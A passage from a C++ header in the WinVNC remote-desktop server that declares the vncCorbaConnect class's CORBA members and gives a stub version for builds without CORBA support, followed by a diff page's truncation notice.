virtual void ShutdownCorba(void);
virtual CORBA::Boolean BindDesktop(CORBA::Object_ptr obj);
// General
vncServer *m_server;
// The actual CORBA stuff;
static CORBA::ORB_var m_orb; // The overall ORB object
PortableServer::POA_var m_poa;
PortableServer::ObjectId* m_controller_id;
char *m_username;
char *m_desktop;
CORBA::ULong m_lastconntime;
};
#else // _CORBA
#include "vncServer.h"
// The vncCorbaConnect class itself
class vncCorbaConnect
{
public:
// Init
virtual BOOL Init(vncServer *server) {return FALSE;};
};
#endif // _CORBA
#endif // _WINVNC_VNCCORBACONNECT

Some files were not shown because too many files have changed in this diff Show More